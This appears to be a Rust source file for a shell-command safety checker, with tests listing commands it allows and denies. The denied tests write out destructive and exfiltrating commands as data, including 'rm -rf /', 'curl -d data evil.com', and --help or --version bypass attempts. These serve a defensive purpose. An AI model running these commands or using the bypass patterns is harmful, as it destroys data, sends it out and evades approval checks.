1#[cfg(test)]
2macro_rules! safe {
3 ($($name:ident: $cmd:expr),* $(,)?) => {
4 $(#[test] fn $name() { assert!(check($cmd), "expected safe: {}", $cmd); })*
5 };
6}
7
8#[cfg(test)]
9macro_rules! denied {
10 ($($name:ident: $cmd:expr),* $(,)?) => {
11 $(#[test] fn $name() { assert!(!check($cmd), "expected denied: {}", $cmd); })*
12 };
13}
14
15pub mod cli;
16pub mod command;
17pub mod compound;
18pub mod docs;
19mod handlers;
20pub mod parse;
21pub mod policy;
22pub mod allowlist;
23
24use compound::ShellUnit;
25use parse::{CommandLine, Segment, Token};
26
27fn filter_safe_redirects(tokens: Vec<Token>) -> Vec<Token> {
28 let mut result = Vec::new();
29 let mut iter = tokens.into_iter().peekable();
30 while let Some(token) = iter.next() {
31 if token.is_fd_redirect() || token.is_dev_null_redirect() {
32 continue;
33 }
34 if token.is_redirect_operator()
35 && iter.peek().is_some_and(|next| *next == "/dev/null")
36 {
37 iter.next();
38 continue;
39 }
40 result.push(token);
41 }
42 result
43}
44
45pub fn is_safe(segment: &Segment) -> bool {
46 if segment.has_unsafe_redirects() {
47 return false;
48 }
49
50 let Ok((subs, cleaned)) = segment.extract_substitutions() else {
51 return false;
52 };
53
54 for sub in &subs {
55 if !is_safe_command(sub) {
56 return false;
57 }
58 }
59
60 let segment = Segment::from_raw(cleaned);
61
62 if !subs.is_empty() && segment.is_bare_assignment() {
63 return true;
64 }
65
66 if let Some(inner) = segment.unwrap_subshell() {
67 return is_safe_command(inner);
68 }
69
70 let stripped = segment.strip_env_prefix();
71 if stripped.is_empty() {
72 return true;
73 }
74
75 let Some(tokens) = stripped.tokenize() else {
76 return false;
77 };
78 if tokens.is_empty() {
79 return true;
80 }
81
82 let tokens = filter_safe_redirects(tokens);
83 if tokens.is_empty() {
84 return true;
85 }
86
87 handlers::dispatch(&tokens, &is_safe)
88}
89
90fn strip_negation(s: &str) -> &str {
91 let mut s = s.trim();
92 loop {
93 if let Some(rest) = s.strip_prefix("! ") {
94 s = rest.trim_start();
95 } else if s == "!" {
96 return "";
97 } else {
98 return s;
99 }
100 }
101}
102
103fn header_subs_safe(header: &str) -> bool {
104 let seg = Segment::from_raw(header.to_string());
105 let Ok((subs, _)) = seg.extract_substitutions() else {
106 return false;
107 };
108 subs.iter().all(|s| is_safe_command(s))
109}
110
111fn validate_units(units: &[ShellUnit], is_safe: &dyn Fn(&Segment) -> bool) -> bool {
112 units.iter().all(|unit| match unit {
113 ShellUnit::Simple(s) => {
114 let s = strip_negation(s);
115 if s.is_empty() {
116 return true;
117 }
118 is_safe(&Segment::from_raw(s.to_string()))
119 }
120 ShellUnit::For { header, body } => {
121 header_subs_safe(header) && validate_units(body, is_safe)
122 }
123 ShellUnit::Loop {
124 condition, body, ..
125 } => validate_units(condition, is_safe) && validate_units(body, is_safe),
126 ShellUnit::If {
127 branches,
128 else_body,
129 } => {
130 branches
131 .iter()
132 .all(|b| validate_units(&b.condition, is_safe) && validate_units(&b.body, is_safe))
133 && validate_units(else_body, is_safe)
134 }
135 })
136}
137
138pub fn is_safe_command(command: &str) -> bool {
139 let segments = CommandLine::new(command).segments();
140 let strs: Vec<&str> = segments.iter().map(|s| s.as_str()).collect();
141 match compound::parse(&strs) {
142 Some(units) => validate_units(&units, &is_safe),
143 None => false,
144 }
145}
146
147#[cfg(test)]
148mod tests {
149 use super::*;
150
151 fn check(cmd: &str) -> bool {
152 is_safe_command(cmd)
153 }
154
155 safe! {
156 grep_foo: "grep foo file.txt",
157 cat_etc_hosts: "cat /etc/hosts",
158 jq_key: "jq '.key' file.json",
159 base64_d: "base64 -d",
160 xxd_file: "xxd some/file",
161 pgrep_ruby: "pgrep -l ruby",
162 getconf_page_size: "getconf PAGE_SIZE",
163 ls_la: "ls -la",
164 wc_l: "wc -l file.txt",
165 ps_aux: "ps aux",
166 ps_ef: "ps -ef",
167 top_l: "top -l 1 -n 10",
168 uuidgen: "uuidgen",
169 mdfind_app: "mdfind 'kMDItemKind == Application'",
170 identify_png: "identify image.png",
171 identify_verbose: "identify -verbose photo.jpg",
172
173 diff_files: "diff file1.txt file2.txt",
174 comm_23: "comm -23 sorted1.txt sorted2.txt",
175 paste_files: "paste file1 file2",
176 tac_file: "tac file.txt",
177 rev_file: "rev file.txt",
178 nl_file: "nl file.txt",
179 expand_file: "expand file.txt",
180 unexpand_file: "unexpand file.txt",
181 fold_w80: "fold -w 80 file.txt",
182 fmt_w72: "fmt -w 72 file.txt",
183 column_t: "column -t file.txt",
184 printf_hello: "printf '%s\\n' hello",
185 seq_1_10: "seq 1 10",
186 expr_add: "expr 1 + 2",
187 test_f: "test -f file.txt",
188 true_cmd: "true",
189 false_cmd: "false",
190 bc_l: "bc -l",
191 factor_42: "factor 42",
192 iconv_utf8: "iconv -f UTF-8 -t ASCII file.txt",
193
194 readlink_f: "readlink -f symlink",
195 hostname: "hostname",
196 uname_a: "uname -a",
197 arch: "arch",
198 nproc: "nproc",
199 uptime: "uptime",
200 id: "id",
201 groups: "groups",
202 tty: "tty",
203 locale: "locale",
204 cal: "cal",
205 sleep_1: "sleep 1",
206 who: "who",
207 w: "w",
208 last_5: "last -5",
209 lastlog: "lastlog",
210
211 md5sum: "md5sum file.txt",
212 md5: "md5 file.txt",
213 sha256sum: "sha256sum file.txt",
214 shasum: "shasum file.txt",
215 sha1sum: "sha1sum file.txt",
216 sha512sum: "sha512sum file.txt",
217 cksum: "cksum file.txt",
218 strings_bin: "strings /usr/bin/ls",
219 hexdump_c: "hexdump -C file.bin",
220 od_x: "od -x file.bin",
221 size_aout: "size a.out",
222
223 sw_vers: "sw_vers",
224 mdls: "mdls file.txt",
225 otool_l: "otool -L /usr/bin/ls",
226 nm_aout: "nm a.out",
227 system_profiler: "system_profiler SPHardwareDataType",
228 ioreg_l: "ioreg -l -w 0",
229 vm_stat: "vm_stat",
230
231 dig: "dig example.com",
232 nslookup: "nslookup example.com",
233 host: "host example.com",
234 whois: "whois example.com",
235
236 shellcheck: "shellcheck script.sh",
237 cloc: "cloc src/",
238 tokei: "tokei",
239 safe_chains: "safe-chains \"ls -la\"",
240
241 awk_safe_print: "awk '{print $1}' file.txt",
242
243 version_go: "go --version",
244 version_perl: "perl --version",
245 version_swift: "swift --version",
246 version_git_c: "git -C /repo --version",
247 version_docker_compose: "docker compose --version",
248 version_cargo: "cargo --version",
249 version_cargo_redirect: "cargo --version 2>&1",
250
251 help_cargo: "cargo --help",
252 help_cargo_install: "cargo install --help",
253
254 dry_run_cargo_publish: "cargo publish --dry-run",
255 dry_run_cargo_publish_redirect: "cargo publish --dry-run 2>&1",
256
257 cucumber_feature: "cucumber features/login.feature",
258 cucumber_format: "cucumber --format progress",
259
260 fd_redirect_ls: "ls 2>&1",
261 fd_redirect_clippy: "cargo clippy 2>&1",
262 fd_redirect_git_log: "git log 2>&1",
263 fd_redirect_cd_clippy: "cd /tmp && cargo clippy -- -D warnings 2>&1",
264
265 dev_null_echo: "echo hello > /dev/null",
266 dev_null_stderr: "echo hello 2> /dev/null",
267 dev_null_append: "echo hello >> /dev/null",
268 dev_null_grep: "grep pattern file > /dev/null",
269 dev_null_git_log: "git log > /dev/null 2>&1",
270 dev_null_awk: "awk '{print $1}' file.txt > /dev/null",
271 dev_null_sed: "sed 's/foo/bar/' > /dev/null",
272 dev_null_sort: "sort file.txt > /dev/null",
273
274 env_prefix_single_quote: "FOO='bar baz' ls -la",
275 env_prefix_double_quote: "FOO=\"bar baz\" ls -la",
276
277 stdin_dev_null: "git log < /dev/null",
278
279 subst_echo_ls: "echo $(ls)",
280 subst_ls_pwd: "ls `pwd`",
281 subst_cat_echo: "cat $(echo /etc/shadow)",
282 subst_echo_git: "echo $(git status)",
283 subst_nested: "echo $(echo $(ls))",
284 subst_quoted: "echo \"$(ls)\"",
285
286 assign_subst_ls: "out=$(ls)",
287 assign_subst_git: "out=$(git status)",
288 assign_subst_jj_diff: "out=$(jj diff -r abc --summary)",
289 assign_subst_pipe: "result=$(jj diff -r abc --git | grep -c pattern || echo 0)",
290 assign_subst_backtick: "out=`ls`",
291 assign_subst_multiple: "a=$(ls) b=$(pwd)",
292
293 subshell_echo: "(echo hello)",
294 subshell_ls: "(ls)",
295 subshell_chain: "(ls && echo done)",
296 subshell_semicolon: "(echo hello; echo world)",
297 subshell_pipe: "(ls | grep foo)",
298 subshell_in_pipeline: "(echo hello) | grep hello",
299 subshell_then_cmd: "(ls) && echo done",
300 subshell_nested: "((echo hello))",
301 subshell_for: "(for x in 1 2; do echo $x; done)",
302 quoted_redirect: "echo 'greater > than' test",
303 quoted_subst: "echo '$(safe)' arg",
304 echo_hello: "echo hello",
305 cat_file: "cat file.txt",
306 grep_pattern: "grep pattern file",
307
308 env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
309 env_rails_rspec: "RAILS_ENV=test bundle exec rspec",
310
311 pipe_grep_head: "grep foo file.txt | head -5",
312 pipe_cat_sort_uniq: "cat file | sort | uniq",
313 pipe_find_wc: "find . -name '*.rb' | wc -l",
314 chain_ls_echo: "ls && echo done",
315 semicolon_ls_echo: "ls; echo done",
316 pipe_git_log_head: "git log | head -5",
317 chain_git_log_status: "git log && git status",
318
319 bg_ls_echo: "ls & echo done",
320 bg_gh_wait: "gh pr view 123 --repo o/r --json title 2>&1 & gh pr view 456 --repo o/r --json title 2>&1 & wait",
321 chain_ls_echo_and: "ls && echo done",
322 here_string_grep: "grep -c , <<< 'hello,world,test'",
323
324 newline_echo_echo: "echo foo\necho bar",
325 newline_ls_cat: "ls\ncat file.txt",
326
327 pipeline_git_log_head: "git log --oneline -20 | head -5",
328 pipeline_git_show_grep: "git show HEAD:file.rb | grep pattern",
329 pipeline_gh_api: "gh api repos/o/r/contents/f --jq .content | base64 -d | head -50",
330 pipeline_timeout_rspec: "timeout 120 bundle exec rspec && git status",
331 pipeline_time_rspec: "time bundle exec rspec | tail -5",
332 pipeline_git_c_log: "git -C /some/repo log --oneline | head -3",
333 pipeline_xxd_head: "xxd file | head -20",
334 pipeline_find_wc: "find . -name '*.py' | wc -l",
335 pipeline_find_sort_head: "find . -name '*.py' | sort | head -10",
336 pipeline_find_xargs_grep: "find . -name '*.py' | xargs grep pattern",
337 pipeline_pip_grep: "pip list | grep requests",
338 pipeline_npm_grep: "npm list | grep react",
339 pipeline_ps_grep: "ps aux | grep python",
340
341 help_cargo_build: "cargo build --help",
342
343 for_echo: "for x in 1 2 3; do echo $x; done",
344 for_pipe: "for f in *.txt; do cat $f | grep pattern; done",
345 for_empty_body: "for x in 1 2 3; do; done",
346 for_multiple: "for x in 1 2; do echo $x; done; for y in a b; do echo $y; done",
347 for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
348 for_then_cmd: "for x in 1 2; do echo $x; done && echo finished",
349 for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
350 for_assign_subst: "for c in a b c; do out=$(jj diff -r $c --summary); if [ -n \"$out\" ]; then echo \"$c: $out\"; fi; done",
351 for_assign_pipe_subst: "for c in a b; do result=$(jj diff -r $c --git | grep -c pattern || echo 0); if [ \"$result\" -gt 0 ]; then desc=$(jj log --no-graph -r $c -T template); echo \"$c: $desc\"; fi; done",
352 while_test: "while test -f /tmp/foo; do sleep 1; done",
353 while_negation: "while ! test -f /tmp/done; do sleep 1; done",
354 while_ls: "while ! ls /tmp/foo 2>/dev/null; do sleep 10; done",
355 until_test: "until test -f /tmp/ready; do sleep 1; done",
356 if_then_fi: "if test -f foo; then echo exists; fi",
357 if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
358 if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
359 nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
360 nested_for_in_if: "if true; then for x in 1 2; do echo $x; done; fi",
361 bare_negation: "! echo hello",
362 bare_negation_test: "! test -f foo",
363 keyword_as_data: "echo for; echo done; echo if; echo fi",
364 }
365
366 denied! {
367 help_npm_install_denied: "npm install --help",
368 help_brew_install_denied: "brew install --help",
369 help_cargo_login_redirect_denied: "cargo login --help 2>&1",
370
371 version_unhandled_node: "node --version",
372 version_unhandled_python: "python --version",
373 version_unhandled_python3: "python3 --version",
374 version_unhandled_rustc: "rustc --version",
375 version_unhandled_java: "java --version",
376 version_unhandled_php: "php --version",
377 version_unhandled_gcc: "gcc --version",
378 version_unhandled_rm: "rm --version",
379 version_unhandled_dd: "dd --version",
380 version_unhandled_chmod: "chmod --version",
381 help_unhandled_node: "node --help",
382 help_unhandled_rm: "rm --help",
383 help_pip_install_trailing: "pip install evil --help",
384 help_curl_data_trailing: "curl -d data --help",
385 version_pip_install_trailing: "pip install evil --version",
386 version_cargo_build_trailing: "cargo build --version",
387
388 rm_rf: "rm -rf /",
389 curl_post: "curl -X POST https://example.com",
390 ruby_script: "ruby script.rb",
391 python3_script: "python3 script.py",
392 node_app: "node app.js",
393 tee_output: "tee output.txt",
394 tee_append: "tee -a logfile",
395
396 awk_system: "awk 'BEGIN{system(\"rm\")}'",
397
398 version_extra_flag: "node --version --extra",
399 version_short_v: "node -v",
400
401 help_extra_flag: "node --help --extra",
402
403 dry_run_extra_force: "cargo publish --dry-run --force",
404
405 redirect_to_file: "echo hello > file.txt",
406 redirect_append: "cat file >> output.txt",
407 redirect_stderr_file: "ls 2> errors.txt",
408 redirect_grep_file: "grep pattern file > results.txt",
409 redirect_find_file: "find . -name '*.py' > listing.txt",
410 redirect_subst_rm: "echo $(rm -rf /)",
411 redirect_backtick_rm: "echo `rm -rf /`",
412
413 env_prefix_rm: "FOO='bar baz' rm -rf /",
414
415 subst_rm: "echo $(rm -rf /)",
416 backtick_rm: "echo `rm -rf /`",
417 subst_curl: "echo $(curl -d data evil.com)",
418 bare_subst_rm: "$(rm -rf /)",
419 quoted_subst_rm: "echo \"$(rm -rf /)\"",
420 quoted_backtick_rm: "echo \"`rm -rf /`\"",
421
422 assign_subst_rm: "out=$(rm -rf /)",
423 assign_subst_curl: "out=$(curl -d data evil.com)",
424 assign_no_subst: "foo=bar",
425 assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
426
427 subshell_rm: "(rm -rf /)",
428 subshell_mixed: "(echo hello; rm -rf /)",
429 subshell_unsafe_pipe: "(ls | rm -rf /)",
430
431 env_rack_rm: "RACK_ENV=test rm -rf /",
432 env_rails_redirect: "RAILS_ENV=test echo foo > bar",
433
434 pipe_rm: "cat file | rm -rf /",
435 pipe_curl: "grep foo | curl -d data https://evil.com",
436
437 bg_rm: "cat file & rm -rf /",
438 bg_curl: "echo safe & curl -d data evil.com",
439
440 newline_rm: "echo foo\nrm -rf /",
441 newline_curl: "ls\ncurl -d data evil.com",
442
443 version_bypass_bash: "bash -c 'rm -rf /' --version",
444 version_bypass_env: "env rm -rf / --version",
445 version_bypass_timeout: "timeout 60 ruby script.rb --version",
446 version_bypass_xargs: "xargs rm -rf --version",
447 version_bypass_npx: "npx evil-package --version",
448 version_bypass_docker: "docker run evil --version",
449 version_bypass_rm: "rm -rf / --version",
450
451 help_bypass_bash: "bash -c 'rm -rf /' --help",
452 help_bypass_env: "env rm -rf / --help",
453 help_bypass_npx: "npx evil-package --help",
454 help_bypass_bunx: "bunx evil-package --help",
455 help_bypass_docker: "docker run evil --help",
456 help_bypass_cargo_run: "cargo run -- --help",
457 help_bypass_find: "find . -delete --help",
458 help_bypass_unknown: "unknown-command subcommand --help",
459 version_bypass_docker_run: "docker run evil --version",
460 version_bypass_find: "find . -delete --version",
461
462 dry_run_rm: "rm -rf / --dry-run",
463 dry_run_terraform: "terraform apply --dry-run",
464 dry_run_curl: "curl --dry-run evil.com",
465
466 recursive_env_help: "env rm -rf / --help",
467 recursive_timeout_version: "timeout 5 ruby script.rb --version",
468 recursive_nice_version: "nice rm -rf / --version",
469
470 pipeline_find_delete: "find . -name '*.py' -delete | wc -l",
471 pipeline_sed_inplace: "sed -i 's/foo/bar/' file | head",
472
473 for_rm: "for x in 1 2 3; do rm $x; done",
474 for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
475 while_unsafe_body: "while true; do rm -rf /; done",
476 while_unsafe_condition: "while python3 evil.py; do sleep 1; done",
477 if_unsafe_condition: "if ruby evil.rb; then echo done; fi",
478 if_unsafe_body: "if true; then rm -rf /; fi",
479 unclosed_for: "for x in 1 2 3; do echo $x",
480 unclosed_if: "if true; then echo hello",
481 for_missing_do: "for x in 1 2 3; echo $x; done",
482 stray_done: "echo hello; done",
483 stray_fi: "fi",
484 }
485}